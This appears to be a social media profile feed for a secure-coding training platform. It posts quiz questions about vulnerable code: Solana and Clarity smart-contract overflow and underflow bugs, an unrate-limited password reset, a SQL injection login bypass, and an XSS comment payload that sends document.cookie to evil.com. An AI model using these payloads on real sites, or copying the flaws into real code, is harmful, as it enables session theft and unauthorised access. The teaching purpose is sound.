
Pantsir
29 posts

Pantsir
@pantsircc
We help developers practice secure coding through realistic labs. Grantee @superteam & @Stacks DeGrants




This Solana program calculates rewards: pub fn calculate_reward(staked: u64, rate: u64, duration: u64) -> u64 { let reward = staked * rate * duration / 1_000_000; reward } A user stakes 10,000,000,000 tokens (10B) at rate 50,000 for 31,536,000 seconds (1 year). What happens?


nobody ever showed developers what vulnerable code actually looks like! so I built P.A.N.T.S.I.R. (@pantsircc) - a hands-on security training platform where developers find real vulnerabilities in real code. find bugs. get feedback. 🧵 live on @solana & @Stacks mainnet.

Your password reset flow: 1. User requests reset 2. Server generates a 4 digit code 3. Code is sent via email 4. User enters the code on /reset?email=user@example.com 5. No rate limit on verification attempts How many attempts does an attacker need to brute force the code?


In a Clarity smart contract, get-balance uses unwrap! with a fallback error. But this transfer function uses unwrap-panic: (define-public (transfer (to principal) (amount uint)) (let ((sender-bal (unwrap-panic (map-get? balances { owner: tx-sender })))) (map-set balances { owner: tx-sender } (- (get amount sender-bal) amount)) (ok true))) What is the vulnerability? a) tx-sender can be spoofed b) unwrap-panic aborts tx c) Subtraction underflows d) Both B and C #stacks #clarity #smartcontracts #web3 #security #bitcoin #pantsir


Your app displays user comments like this: <div class="comment">{{ comment.body }}</div> A user submits this comment: Great post! <img src=x onerror="document.location='https: //evil.com/steal?c='+document.cookie"> What type of attack is this? #security #pantsir #owasp

Reviewing a Solana Anchor program.
This instruction updates a user profile:
pub fn update_profile(ctx: Context


Your login form runs this query: SELECT * FROM users WHERE email = '$input' AND password = '$pass' What happens if someone types this as their email? ' OR '1'='1' -- #sql #security



Your login form runs this query: SELECT * FROM users WHERE email = '$input' AND password = '$pass' What happens if someone types this as their email? ' OR '1'='1' -- #sql #security
